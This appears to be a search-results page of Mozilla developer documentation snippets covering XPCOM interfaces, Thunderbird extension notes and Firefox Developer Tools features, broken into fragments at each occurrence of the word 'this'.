this interface provides callback handling functionality for moziasynchistory.isurivisited 1.0 66 introduced gecko 11.0 inherits from: nsisupports last changed in gecko 11.0 (firefox 11.0 / thunderbird 11.0 / seamonkey 2.8) method overview void isvisited(in nsiuri auri, in boolean avisitedstatus); methods isvisited() called when the moziasynchistory.isurivisited() method's check to determine whether a given uri has been visited has completed.
... implement
this method to determine the results of the request.
ExtendSelection
« nsiaccessible page summary
this method extends the current selection from its current accessible anchor node to
this accessible.
...
this method isn't implemented.
GetAccessibleAbove
« nsiaccessible page summary
this method returns an accessible node geometrically above
this one.
... nsiaccessible getaccessibleabove(); return value returns an accessible node geometrically above
this one.
GetAccessibleBelow
« nsiaccessible page summary
this method returns an accessible node geometrically below
this one.
... nsiaccessible getaccessiblebelow(); return value returns an accessible node geometrically below
this one.
GetAccessibleToLeft
« nsiaccessible page summary
this method returns an accessible node geometrically to the left of
this one.
... nsiaccessible getaccessibletoleft(); return value returns an accessible node geometrically to the left of
this one.
GetAccessibleToRight
« nsiaccessible page summary
this method returns an accessible node geometrically to the right of
this one.
... nsiaccessible getaccessibletoright(); return value returns an accessible node geometrically to the right of
this one.
GetRelation
« nsiaccessible page summary
this method returns accessible relation for
this accessible object by index.
... return value returns nsiaccessiblerelation object for
this accessible.
GetRelations
« nsiaccessible page summary
this method returns multiple accessible relations for
this accessible object.
... nsiarray getrelations(); return value returns nsiarray array of accessible relations for
this object, every accessible relation object implements nsiaccessiblerelation interface.
GroupPosition
« nsiaccessible page summary
this method returns grouping information.
... remark alternatively
this information is exposed by nsiaccessible.attribute attribute, also see group attributes page.
nsIAccessibleEditableText
void pastetext( in long position ); parameters position the offset at which to insert the text from the system clipboard into the text represented by
this object.
... settextcontents() replaces the text represented by
this object with the given text.
nsIAccessibleProvider
constants common use constants constant value description noaccessible 0 do not create an accessible for
this object
this is useful if an ancestor binding already implements nsiaccessibleprovider, but no accessible is desired for the inheriting binding.
...
this property is used for upload, input[type="xsd:gday"] and input[type="xsd:gmonth"] xformslabel 0x00002001 used for label element.
nsIAccessibleTreeCache
obsolete since gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0)
this feature is obsolete.
... accessible/public/nsiaccessibletreecache.idlnot scriptable please add a summary to
this article.
nsIAppStartup_MOZILLA_2_0
toolkit/components/startup/public/nsiappstartup.idlscriptable
this lets you get information about the times at which key application startup events occurred.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) in gecko 4.0
this interface was merged into the nsiappstartup interface.
nsIApplicationCacheService
netwerk/base/public/nsiapplicationcacheservice.idlscriptable
this interface manages the set of application cache groups that manage offline resources for web applications.
...note:
this method should propagate the entry to other application caches with the same opportunistic namespace; however,
this is not currently implemented.
nsIAuthPromptProvider
netwerk/base/public/nsiauthpromptprovider.idlscriptable
this interface requests a prompt interface for the given prompt reason.
... methods getauthprompt()
this method requests a prompt interface for the given prompt reason.
nsIAuthPromptWrapper
embedding/components/windowwatcher/public/nsiauthpromptwrapper.idlscriptable please add a summary to
this article.
... last changed in gecko 1.7 inherits from: nsiauthprompt method overview void setpromptdialogs(in nsiprompt dialogs); methods setpromptdialogs()
this method sets a prompt dialog using the given dialog implementation which will be used to display the prompts.
nsIAutoCompleteListener
xpfe/components/autocomplete/public/nsiautocompletelistener.idlscriptable
this interface is deprecated.
...
this method does not seem to have ever been implemented.
nsIBadCertListener2
security/manager/ssl/public/nsibadcertlistener2.idlscriptable
this interface is used to is report a broken ssl status.
...
this object usually supports nsisslsocketcontrol, nsitransportsecurityinfo, nsiidentityinfo, nsisslstatusprovider, nsiclientauthuserdecision and possibly other interfaces.
nsICRLManager
security/manager/ssl/public/nsicrlmanager.idlscriptable please add a summary to
this article.
...void importcrl( [array, size_is(length)] in octet data, in unsigned long length, in nsiuri uri, in unsigned long type, in boolean dosilentdownload, in wstring crlkey ); parameters data length uri type dosilentdownload crlkey reschedulecrlautoupdate()
this would reschedule the autoupdate of crls with auto update enable.
nsICacheMetaDataVisitor
netwerk/cache/nsicacheentrydescriptor.idlscriptable
this interface is used for visiting the meta data elements for a specified cache entry.
... inherits from: nsisupports last changed in gecko 1.7 method overview boolean visitmetadataelement(in string key, in string value); methods visitmetadataelement()
this method is called for each key/value pair in the meta data for a cache entry.
nsICancelable
netwerk/base/public/nsicancelable.idlscriptable
this interface provides a means to cancel an operation that is in progress.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void cancel(in nsresult areason); methods cancel() call
this method to request that
this object abort whatever operation it may be performing.
nsIChannelPolicy
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)
this interface exists to allow the content policy mechanism to function properly during channel redirects.
... channels can be created with
this interface placed in the property bag and upon redirect, the interface can be transferred from the old channel to the new channel.
nsICharsetResolver
intl/chardet/public/nsicharsetresolver.idlscriptable please add a summary to
this article.
...if
this is done, the caller of requestcharset is responsible for calling notifyresolvedcharset() and passing it the final resolved charset and the closure that requestcharset set.
nsIClipboardHelper
inherits from: nsisupports last changed in gecko 1.7 method overview void copystring(in astring astring); void copystringtoclipboard(in astring astring, in long aclipboardid); methods copystring()
this method copies string to (default) clipboard.
... copystringtoclipboard()
this method copies string to given clipboard.
nsIClipboardOwner
widget/public/nsiclipboardowner.idlscriptable please add a summary to
this article.
... last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method overview void losingownership(in nsitransferable atransferable); methods losingownership()
this method notifies the owner of the clipboard transferable that the transferable is being removed from the clipboard.
nsIContentViewManager
this lets you, for example, take the coordinates at which the user clicked (or touched) the screen, and expand outward to create a rectangle from that point.
... alength optional if specified, on return
this parameter indicates the number of nsicontentview objects returned in the aresult array.
nsICookie2
netwerk/cookie/nsicookie2.idlscriptable please add a summary to
this article.
...note:
this time may be approximate.
nsICookieConsent
netwerk/cookie/public/nsicookieconsent.idlscriptable please add a summary to
this article.
...
this is used to decide the cookie status based on user preferences.
nsICrashReporter
unlike annotatecrashreport(),
this method will append to existing data.
...
this is implemented on windows only, because seh (structured exception handling) exists on windows only.
nsIDOMEventGroup
dom/interfaces/events/nsidomeventgroup.idlscriptable
this interface is the interface implemented by all event targets in the document object model.
... inherits from: nsisupports last changed in gecko 1.7 method overview boolean issameeventgroup(in nsidomeventgroup other); methods issameeventgroup() reports whether or not another event group is the same as
this one.
nsIDOMFileException
note: gecko's implementation of
this interface presently differs from the working draft of the file api specification.
... content/base/public/nsidomfileexception.idlscriptable please add a summary to
this article.
nsIDOMFileList
gecko 1.9.2 note starting in gecko 1.9.2,
this is also used by the datatransfer object to support dragging and dropping files into web applications.
...
this interface implements the dom filelist object.
nsIDOMFileReader
content/base/public/nsidomfilereader.idlscriptable please add a summary to
this article.
...to create an instance, use: var filereader = components.classes["@mozilla.org/files/filereader;1"].createinstance(components.interfaces.nsidomfilereader);
this interface implements the dom filereader object; see that documentation for details.
nsIDOMGeoPositionCallback
you need to implement
this interface to accept callbacks after using nsidomgeolocation.watchposition().
... dom/interfaces/geolocation/nsidomgeopositioncallback.idlscriptable please add a summary to
this article.
nsIDOMGeoPositionCoords
dom/interfaces/geolocation/nsidomgeopositioncoords.idlscriptable please add a summary to
this article.
... speed double the speed at which the user is moving, in meters per second (confirm
this).
nsIDOMMozNetworkStatsManager
please check dom/network/interfaces/nsidomnetworkstatsmanager.idl to make sure
this data is accurate.
... for example,
this object might be { appmanifesturl : manifesturl }.
nsIDOMStorage2
dom/public/idl/storage/nsidomstorage2.idlscriptable please add a summary to
this article.
... methods clear() clears the contents of
this storage context;
this removes all values bound to the domain or origin.
nsIDOMStorageManager
dom/interfaces/storage/nsidomstoragemanager.idlscriptable
this interface provides methods for managing data stored in the offline apps cache.
...
this is used to ensure that only one local storage area exists for a given origin.
nsIDOMXPathEvaluator
dom/interfaces/xpath/nsidomxpathevaluator.idlscriptable
this interface is used to evaluate xpath expressions against a dom node.
... note: prior to gecko 1.9, you could call
this method on documents other than the one you planned to run the xpath against; starting with gecko 1.9, however, you must call it on the same document.
nsIDebug
if no debugger is running then
this usually results in a program crash.
...
this allows the debugger to be attached before the software break.
nsIDebug2
this is normally zero in release builds, but does include calls to nsidebug.assertion().
...
this often correlates to whether other code (for example, firefox, xulrunner) was compiled with debug defined.
nsIDeviceMotion
xpcom/system/nsidevicemotion.idlscriptable
this interface is used to implement accelerometer support.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) note:
this interface was named nsidevicemotion prior to gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3).
nsIDiskCacheStreamInternal
netwerk/cache/nsidiskcachestreaminternal.idlscriptable please add a summary to
this article.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void closeinternal(); methods closeinternal() we use
this method internally to close nsdiskcacheoutputstream under the cache service lock.
nsIDocumentLoader
uriloader/base/nsidocumentloader.idlscriptable
this interface responsible for tracking groups of loads that belong together (images, external scripts, and so on.) and subdocuments (iframe, frame, and so on.).
...(firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) void fireonstatuschange( in nsiwebprogress awebprogress, in nsirequest arequest, in nsresult astatus, in wstring amessage ); parameters awebprogress arequest astatus amessage native code only!getcontentviewercontainer obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0)
this feature is obsolete.
nsIDownloader
this may utilize the disk cache as an optimization to avoid an extra copy of the data on disk.
... inherits from: nsistreamlistener last changed in gecko 1.7 method overview void init(in nsidownloadobserver observer, in nsifile downloadlocation); methods init() initialize
this downloader.
nsIDragSession
usually the target "frame" sets
this so the native system can render the correct feedback.
...
this allows chrome to handle a drag that was refused by content.
nsIEnumerator
nsienumerator.idl warning:
this is a broken interface; don't use it unless you have to.
...you may need to use the google cache, since
this version doesn't seem to be working so well.
nsIExternalURLHandlerService
this should be overridden by each operating systems implementation.
...afound was an operating system default handler for
this url found?
nsIFTPChannel
you can determine if a channel is an ftp channel by checking to see if it implements
this interface, by calling nsisupports.queryinterface() on it.
... netwerk/protocol/ftp/nsiftpchannel.idlscriptable please add a summary to
this article.
nsIFaviconDataCallback
toolkit/components/places/public/nsifaviconservice.idlscriptable please add a summary to
this article.
...
this can be null if there is no associated favicon uri, or the callback is notifying a failure.
nsIFeedElementBase
toolkit/components/feeds/public/nsifeedelementbase.idlscriptable
this interface is a base interface from which several of the other feed access interfaces derive.
...most derived interfaces provide convenience accessors for their standard fields, so
this is only useful when looking for nonstandard fields.
nsIFeedPerson
toolkit/components/feeds/public/nsifeedperson.idlscriptable
this interface describes an author of or a contributor to an rss or atom feed.
... uri nsiuri a uri associated with the person;
this is most likely the person's home page.
nsIFeedProcessor
toolkit/components/feeds/public/nsifeedprocessor.idlscriptable
this interface parses rss or atom feeds, triggering callbacks based on their contents during and after the processing.
...
this can be null.
nsIFeedResultListener
toolkit/components/feeds/public/nsifeedlistener.idlscriptable
this interface should be implemented by programs to receive events from the feed parser as parsing progresses.
...if you don't care about doing progress display or the like,
this is all you need to implement in order to receive the parsed feed.
nsIFileSpec
declared in xpcom/obsolete/nsifilespec.idl don't use
this interface.
...and help fixing things that use
this components if you have time!
nsIIdleService
can be 0 if there is no valid idle time to report (
this can happen if the user never interacted with the browser at all, and if we are unable to poll for idle time manually).
... example example 1 var idleservice = components.classes["@mozilla.org/widget/idleservice;1"] .getservice(components.interfaces.nsiidleservice) settimeout(function() { alert(idleservice.idletime) }, 1000) // if you don't use the mouse or the keyboard after running
this snippet, // you'll see a number around 1000 alerted.
nsIInterfaceRequestor
xpcom/base/nsiinterfacerequestor.idlscriptable
this interface defines a generic interface for requesting interfaces that a given object might provide access to.
... inherits from: nsisupports last changed in gecko 0.9.5
this is similar to nsisupports.queryinterface().
nsIJetpackService
js/jetpack/nsijetpackservice.idlscriptable
this interface enables the creation of new jetpack processes.
...method overview nsijetpack createjetpack(); methods createjetpack()
this method creates a new jetpack process and returns an nsijetpack interface that represents it.
nsIJumpListItem
methods equals() compare
this item to another.
... compares the type and other properties specific to
this item's type: separator - type link - type, uri, title shortcut - type, handler application boolean equals( in nsijumplistitem item ); parameters item another nsijumplistitem to compare to.
Using nsILoginManager
illa.org/login-manager/logininfo;1", components.interfaces.nsilogininfo, "init" ); var logininfo = new nslogininfo( hostname, formsubmiturl, httprealm, username, password, usernamefield, passwordfield ); examples creating a login for a web page var formlogininfo = new nslogininfo( 'http://www.example.com', 'http://login.example.com', null, 'joe', 'secret123', 'uname', 'pword' );
this login would correspond to a html form such as: <form action="http://login.example.com/foo/authenticate.cgi"> <div>please log in.</div> <label>username:</label> <input type="text" name="uname"> <label>password:</label> <input type="password" name="pword"> </form> creating a site authentication login var authlogininfo = new nslogininfo( 'http://www.example.com', null, 'exampleco login', ...
...'alice', 'secret321', "", "" );
this would correspond to a login on http://www.example.com when the server sends a reply such as: http/1.0 401 authorization required server: apache/1.3.27 www-authenticate: basic realm="exampleco login" creating a local extension login var extlogininfo = new nslogininfo( 'chrome://firefoo', null, 'user registration', 'bob', '123secret', "", "" ); from a component creating a new info block is done slightly differently: var nslogininfo = new constructor("@org/manager/ci.init"); var extlogininfo = new aformsubmiturl, ausername, ausernamefield, ...
nsILoginManagerCrypto
toolkit/components/passwordmgr/public/nsiloginmanagercrypto.idlscriptable please add a summary to
this article.
...note: the current implemention of
this inferface simply uses nss/psm's "secret decoder ring" service.
nsILoginMetaInfo
this data can usually be ignored by most users of the login manager, which will create and maintain appropriate default values.
...
this can be any arbitrary string, but a format as created by nsiuuidgenerator is recommended.
nsIMemoryReporterManager
this reporter is special-cased because it is interesting, and is moderately difficult to compute in javascript.
...
this reporter is special-cased because it is interesting, is available on all platforms, and returns a meaningful result on all common platforms.
nsIMicrosummaryObserver
toolkit/components/places/public/nsimicrosummaryservice.idlscriptable
this interface provides methods for observing changes to micrummaries.
...since an observer might watch multiple microsummaries at the same time, the microsummary whose content has been updated gets passed to
this handler.
nsIMsgAccount
outgoing identity list (array of nsimsgidentity's) incomingserver nsimsgincomingserver incoming server stuff key acstring internal key identifying itself methods addidentity() adds a new identity to
this account.
...exceptions thrown ns_error_already_opened if it is called more then once removeidentity() removes an identity from
this account.
nsIMsgDBViewCommandUpdater
mailnews/base/public/nsimsgdbview.idl#349scriptable please add a summary to
this article.
... last changed in gecko 1.9 (firefox 3) inherits from: nsisupports in thunderbird
this is implemented for different windows in several different places: nsmsgdbviewcommandupdater (for the standalone message window) nsmsgdbviewcommandupdater (for the threadpane message window) nsmsgsearchcommandupdater (for search dialogs) method overview void updatecommandstatus(); void displaymessagechanged(in nsimsgfolder afolder, in astring asubject, in acstring akeywords); void updatenextmessageafterdelete(); methods updatecommandstatus() called when the number of selected items changes.
nsIMsgSendLater
void sendunsentmessages(in nsimsgidentity identity) parameters identity the nsimsgidentity to send unsent messages for removelistener() remove an event listener from
this nsisendmsglater instance void removelistener(in nsimsgsendlaterlistener listener); parameters listener the nsimsgsendlaterlistener to remove.
... addlistener() add an event listener to
this nsisendmsglater instance.
nsIMsgThread
emovechildat(in long index); void removechildhdr(in nsimsgdbhdr child, in nsidbchangeannouncer announcer); void markchildread(in boolean bread); nsimsgdbhdr getfirstunreadchild(); nsisimpleenumerator enumeratemessages(in nsmsgkey parent); attributes attribute type description threadkey nsmsgkey unsigned long key designating
this thread.
... void addchild(in nsimsgdbhdr child, in nsimsgdbhdr inreplyto, in boolean threadinthread, in nsidbchangeannouncer announcer); parameters child the message to add inreplyto the message
this should be in reply to threadinthread announcer an nsidbchangeannouncer to receive notification when the change is made.
nsINavHistoryQueryResultNode
method overview void getqueries([optional] out unsigned long querycount, [retval,array,size_is(querycount)] out nsinavhistoryquery queries); attributes attribute type description folderitemid long long for both simple folder nodes and simple-folder-query nodes,
this is set to the concrete itemid of the folder.
... otherwise,
this is set to -1.
nsINavHistoryVisitResultNode
toolkit/components/places/public/nsinavhistoryservice.idlscriptable
this interface describes a result from a result_type_visit query on the places service.
...
this interface provides the session id so that it's possible to group items from the same session together.
nsINetworkLinkService
n gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by: @mozilla.org/network/network-link-service;1 as a service: var networklinkservice = components.classes["@mozilla.org/network/network-link-service;1"] .getservice(components.interfaces.nsinetworklinkservice); attributes attribute type description islinkup boolean
this is set to true when the system is believed to have a usable network connection.
... linkstatusknown boolean
this is set to true when we believe that islinkup is accurate.
nsIProgrammingLanguage
xpcom/base/nsiprogramminglanguage.idlscriptable
this interface provides an enumeration of programming language identifiers.
... constant value description unknown 0 cplusplus 1 c++ javascript 2 javascript python 3 python perl 4 perl java 5 java zx81_basic 6 zx81 basic javascript2 7 javascript 2 ruby 8 ruby php 9 php tcl 10 tcl max 10
this will be kept at the largest index.
nsIProperties
xpcom/ds/nsiproperties.idlscriptable
this interface provides methods to access a map of named xpcom object values.
... remarks
this interface was frozen for gecko 1.2.
nsIRequestObserver
netwerk/base/public/nsirequestobserver.idlscriptable
this interface is used by various streams (such as nsichannel ) to indicate the start and end of a request.
...
this call is always preceded by a call to onstartrequest().
nsISHistory
the enumerator object thus returned by
this method can be traversed using nsisimpleenumerator.
...the object returned by
this step is of type nsisupports.
nsISSLSocketControl
netwerk/socket/nsisslsocketcontrol.idlscriptable
this interface establishes tls and ssl connections.
...
this is used to encrypt plain-text data communication.
nsISelection2
content/base/public/nsiselection2.idlscriptable please add a summary to
this article.
... 1.0 66 introduced gecko 1.8 obsolete gecko 8.0 inherits from: nsiselection last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) in gecko 8.0
this interface was merged into the nsiselectionprivate interface.
nsISelection3
content/base/public/nsiselection3.idlscriptable please add a summary to
this article.
... 1.0 66 introduced gecko 2.0 obsolete gecko 8.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) in gecko 8.0
this interface was merged into the nsiselection interface.
nsISupportsInterfacePointer
xpcom/ds/nsisupportsprimitives.idlscriptable
this interface provides scriptable access for xpcom objects.
...remarks
this interface was frozen for gecko 1.2.
nsISupportsVoid
xpcom/ds/nsisupportsprimitives.idlscriptable
this interface provides scriptable access for generic pointers.
... inherits from: nsisupportsprimitive last changed in gecko 1.0 method overview string tostring(); attributes attribute type description data voidptr
this attribute provides access to the native type represented by the object.
nsISyncJPAKE
services/crypto/component/nsisyncjpake.idlscriptable please add a summary to
this article.
...
this will compute the key and expand the key to two keys, an aes256 encryption key and a 256 bit hmac key.
nsIToolkit
widget/public/nsitoolkit.idlnot scriptable
this interface is used to initialize a message pump.
... inherits from: nsisupports last changed in gecko 1.0 method overview void init(in prthread athread); methods init() initialize
this toolkit with athread.
nsITransactionList
editor/txmgr/idl/nsitransactionlist.idlscriptable please add a summary to
this article.
... inherits from: nsisupports last changed in gecko 1.7 method overview nsitransactionlist getchildlistforitem(in long aindex); nsitransaction getitem(in long aindex); long getnumchildrenforitem(in long aindex); boolean itemisbatch(in long aindex); attributes attribute type description numitems long the number of transactions contained in
this list.
nsITransportEventSink
void ontransportstatus( in nsitransport atransport, in nsresult astatus, in unsigned long long aprogress, in unsigned long long aprogressmax ); parameters atransport the transport sending
this status notification.
...
this value is relative to aprogressmax.
nsITreeColumn
layout/xul/base/src/tree/public/nsitreecolumns.idlscriptable please add a summary to
this article.
... columns nsitreecolumns the nsitreecolumns containing
this column.
nsITreeContentView
layout/xul/base/src/tree/public/nsitreecontentview.idlscriptable please add a summary to
this article.
... last changed in gecko 1.8.0 inherits from: nsisupports method overview long getindexofitem(in nsidomelement item); nsidomelement getitematindex(in long index); attributes attribute type description root nsidomelement the element in the dom which
this view uses as root content.
nsIUUIDGenerator
xpcom/base/nsiuuidgenerator.idlscriptable
this interface can be used to generate an id that can be considered globally unique, often referred to as a uuid or guid.
...return value
this method returns a nsidptr containing a unique id.
nsIUpdateManager
toolkit/mozapps/update/nsiupdateservice.idlscriptable
this interface describes a global application service that maintains a list of previously installed updates, as well as the currently in use update.
...
this update is not in the history list.
nsIUpdatePrompt
toolkit/mozapps/update/nsiupdateservice.idlscriptable
this interface describes an object that can be used to show various update-related notifications to the user.
...
this can be null.
nsIWebPageDescriptor
docshell/base/nsiwebpagedescriptor.idlscriptable
this interface allows content being displayed in one window to be loaded into another window without refetching it from the network.
...note that if the descriptor is that of the source of another page,
this keeps the source view, but uses the current syntax highlighting preference.
nsIWebProgressListener2
uriloader/base/nsiwebprogresslistener2.idlscriptable please add a summary to
this article.
...
this function is identical to nsiwebprogresslistener.onprogresschange(), except that
this function supports 64-bit values.
nsIWebappsSupport
toolkit/components/webapps/nsiwebappssupport.idlscriptable please add a summary to
this article.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void installapplication(in wstring title, in wstring uri, in wstring iconuri, in wstring icondata); boolean isapplicationinstalled(in wstring uri); methods installapplication()
this method installs a web application.
nsIWifiMonitor
netwerk/wifi/nsiwifimonitor.idlscriptable
this interface can be used to be alerted when the list of available wifi access points changes.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0)
this is used, for example, by geolocation to use wifi access points for location detection.
nsIWinAppHelper
note that
this parameter was never actually supported.
...
this updates the uninstallation log so that the application can be uninstalled correctly after an update.
nsIWorkerGlobalScope
dom/interfaces/threads/nsidomworkers.idlscriptable
this interface is an abstract interface representing the 'inside' of a worker.
...
this interface allows a worker to look up information about itself, as well as to control itself.
nsIXULBrowserWindow
this may be used, for example, to redirect links into new tabs or windows when it's not desirable to replace the content in the current tab (such as when the link is clicked in an app tab).
... setoverlink() tells the object implementing
this function what link we are currently over.
nsIXULBuilderListener
content/xul/templates/public/nsixulbuilderlistener.idlscriptable
this object is a listener that will be notified when a template builder rebuilds its content.
... example create an object which implements nsixulbuilderlistener: var mylistener = { queryinterface: function(aiid) { if (aiid.equals(components.interfaces.nsixulbuilderlistener) || aiid.equals(components.interfaces.nsisupports)) return
this; throw components.results.ns_nointerface; }, willrebuild : function(builder) {}, didrebuild : function(builder) { } } attach the listener to a element: myelement.addlistener(mylistener); ...
nsIXmlRpcFault
obsolete since gecko 1.9 (firefox 3)
this feature is obsolete.
...xml-rpc server fault codes are returned wrapped in
this; access it using nsixpconnect.getpendingexception->data.
nsMsgSearchTerm
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl use
this to specify the value of a search term [ptr] native nsmsgsearchterm(nsmsgsearchterm); // please note the !
... at the start of
this macro, which means the macro // needs to enumerate the non-string attributes.
NS_ERROR
summary macro throws a assertion (ns_assertion) with the text "error: (error text)", so writes
this text to console (stderr) and to debug logs (nspr logging).
...
this macro is meant for critical errors; like assertions, ns_errors should not be reachable.
NS_IF_ADDREF
this page still needs some work, help to improve it!
...only use
this macro if the pointer might be null; use ns_addref otherwise.
NS_CStringToUTF16
see nscstringencoding for the set of values that can be passed for
this parameter.
... example code nsembedcstring str("hello"); nsembedstring ustr; ns_cstringtoutf16(str, ns_cstring_encoding_ascii, ustr); const prunichar *unicharbuf = ustr.get(); history
this function was frozen for mozilla 1.7.
NS_UTF16ToCString
see nscstringencoding for the set of values that can be passed for
this parameter.
... example code // convert utf-16 (or ucs-2) string to utf-8 void copyutf16toutf8(const nsastring& in, nsacstring& out) { ns_utf16tocstring(in, ns_cstring_encoding_utf8, out); } history
this function was frozen for mozilla 1.7.
nsMsgViewSortOrder
this interface isn't ever implemented.
...for example to sort by date you would pass a function the value: components.interfaces.nsmsgviewsortorder.ascending mailnews/base/public/nsimsgdbview.idlscriptable please add a summary to
this article.
nsMsgViewSortType
this interface isn't ever implemented.
...for example to sort by date you would pass a function the value: components.interfaces.nsmsgviewsorttype.bydate mailnews/base/public/nsimsgdbview.idlscriptable please add a summary to
this article.
The Thread Manager
nsithreadeventfilter
this interface is used by the nsithreadinternal.pusheventqueue() method in nsithreadinternal to allow event filtering.
... nsirunnable
this interface is the base for all events/runnable objects which are dispatched to threads.
Working with out parameters
adata and adatalen are marked as out, meaning that they act as "return values" for
this method, and are changed during the method call.
...after the call,
this object will have a new property called value, which contains the out values.
already_AddRefed
you may want to use
this as a return type from a function that has already produced an addrefed pointer as a result.
... in fact, it is preferred to use already_addrefed in
this case over returning a raw pointer or nscomptr (see the nscomptr user manual).
pyxpidl
generating c++ headers to generate c++ headers, use the header.py utility: sdkdir/sdk/bin/header.py --cachedir=<path> -o <outputfilename.h> <filename.idl> generating typelibs generating typelib files is done using the typelib.py utility: sdkdir/sdk/bin/typelib.py --cachedir=<path> -o <outputfilename.xpt> <filename.idl> comparing pyxpidl to xpidl
this table provides a mapping of old xpidl options to pyxpidl.
... xpidl option description pyxpidl equivalent -a emit annotations to typelib n/a (feature removed) -w turn on warnings n/a (
this is now the default and can't be turned off) -v verbose mode (nyi) n/a (feature removed) -t creates a typelib of a specific version number n/a (feature removed, and probably never actually worked) -i add an entry to start of include path for #include "nsifoo.idl" -i (unchanged) -o specify the base name for output (-o /tmp/nsifoo for example) -o outputfile (
this isn't just the base name, but needs to include the extension; for example -o /tmp/nsifoo.idl) -e specify an explicit output file name (-e /tmp/nsifoo.idl for example) n/a (
this is subsumed by ...
Mozilla technologies
at the moment, the transition from webshell to docshell is not fully completed, but the long-term goal is to remove webshell and switch over entirely to docshell.embedded dialog apifeed content access apifirefox 2 and thunderbird 2 introduce a series of interfaces that make it easy for extension authors to access rss and atom feeds.life after xul: building firefox interfaces with html
this page gathers technical solutions to common problems encountered by teams shipping html-based interfaces inside firefox.morkmork is a database file format invented by david mccusker for the mozilla code since the original netscape database information was proprietary and could not be released open source.
...it also introduces new user interfaces for managing all
this information; see places on the mozilla wiki.preferences apithe publicity stream apithe publicity stream is a mozilla-hosted activity stream generated by a user's application usage.
MailNews fakeserver
this area will be the most diverse of all components, as edge cases with quirky servers being liberal with the specs will require different handlers.
...the outline of a test looks like
this: var daemon = setupdaemon(); // check with your local fakeserver docs var handlers = [ /* some set of handlers */ ]; for (var handler in handlers) { //
this sets up the fake server var server = new nsmailserver(new handler(daemon)); // port to use.
Thunderbird Binaries
you should see a string that looks something like
this: comm-central-1.9.2 branch: mozilla/5.0 (windows; u; windows nt 5.1; en-us; rv:1.9.2.2pre) gecko/20100308 lanikai/3.1b1pre comm-central-trunk: mozilla/5.0 (windows; u; windows nt 5.1; en-us; rv:1.9.3a1pre) gecko/20090826 shredder/3.1a1pre the part that you want to note is the gecko revision number (rv) and the thunderbird version string.
...it works something like
this: rv:1.7.x and thunderbird 1.0.x = gecko 1.7 (thunderbird 1.0) branch.
FAQ
the old contents of
this faq page were duplicated in the setting up extension development environment article and the building a thunderbird extension article.
... (duplicate content has been removed from
this page.) other resources can be found on the thunderbird extension development portal page.
Add Option to Context Menu
assuming
this on chrome.manifest: overlay chrome://messenger/content/mailwindowoverlay.xul chrome://myext/content/thunderbird-overlay.xul add the next in thunderbird-overlay.xul.
...
this can be reached by adding these lines to the chrome.manifest file: overlay chrome://messenger/content/mailwindowoverlay.xul chrome://myaddon/content/tboverlay-tb2.xul appversion<3.0 overlay chrome://messenger/content/mailwindowoverlay.xul chrome://myaddon/content/tboverlay-tb3.xul appversion=>3.0 than we need two overlay xul files with content from examples above.
Styling the Folder Pane
this content covers features introduced in thunderbird 3 the folder pane in thunderbird is predominantly controlled by code in folderpane.js.
...for example, if the inbox flag is set,
this will be "inbox".
Using the Mozilla source server
l build what you'll need windbg or visual studio (note: express editions will not work, but windbg is a free download) a nightly build that was created after april 15, 2008; go to the /pub/firefox/nightly/latest-mozilla-central/ folder and grab the installer for builds predating the switch to mercurial, you'll need cvs.exe, added to your path (the cvs.exe from mozillabuild has problems, use
this one instead) note: do not use the cvs from mozillabuild, it will not work!
...
this enables source server support.
Browser Side Plug-in API - Plugins
« previousnext »
this chapter describes methods in the plug-in api that are available from the browser.
... npn_getauthenticationinfo
this function is called by plug-ins to get http authentication information from the browser.
Color vision simulation - Firefox Developer Tools
to enable
this feature, you must have webrender enabled; it may be enabled by default, depending on your configuration of firefox.
... in the simulate menu, you can choose one option at a time from the following list: none — choose
this to return to normal display protanomaly (low red) deuteranomaly (low green) tritanomaly (low blue) protanopia (no red) deuteranopia (no green) tritanopia (no blue) contrast loss these simulations are not completely medically accurate.
Application - Firefox Developer Tools
this includes inspection of service workers and web app manifests.
... finding an example if you want to test
this functionality and you don't have a handy pwa available, you can grab one of our simple examples to use: add to homescreen demo: shows pictures of foxes (source code | live version) js13kpwa demo: show information on entries to the js13k annual competition (source code | live version) how to debug service workers inspect web app manifests ...
DOM Property Viewer - Firefox Developer Tools
if a property has more elements than
this, you'll see a "more..." annotation, and will need to click the property to see all elements.
... refreshing the display if the dom changes you can hit the refresh button to update the display: filtering there is a search box within the toolbar:
this filters the list to show only items which match the search term.
Debug eval sources - Firefox Developer Tools
in the video below, we load a page containing a source like
this: var script = `function foo() { console.log('called foo'); } //# sourceurl=my-foo.js`; eval(script); var button = document.getelementbyid("foo"); button.addeventlistener("click", foo, false); the evaluated string is given the name "my-foo.js" using the //# sourceurl directive.
...
this source is then listed in the source list pane, and can be opened and debugged like any other source.
Set a conditional breakpoint - Firefox Developer Tools
this makes it possible to debug specific scenarios, such as bugs that only happen on odd entries in a list, or errors that occur the last time through a loop, for example.
...you can use
this to modify an existing condition or to add a condition to a normal breakpoint.
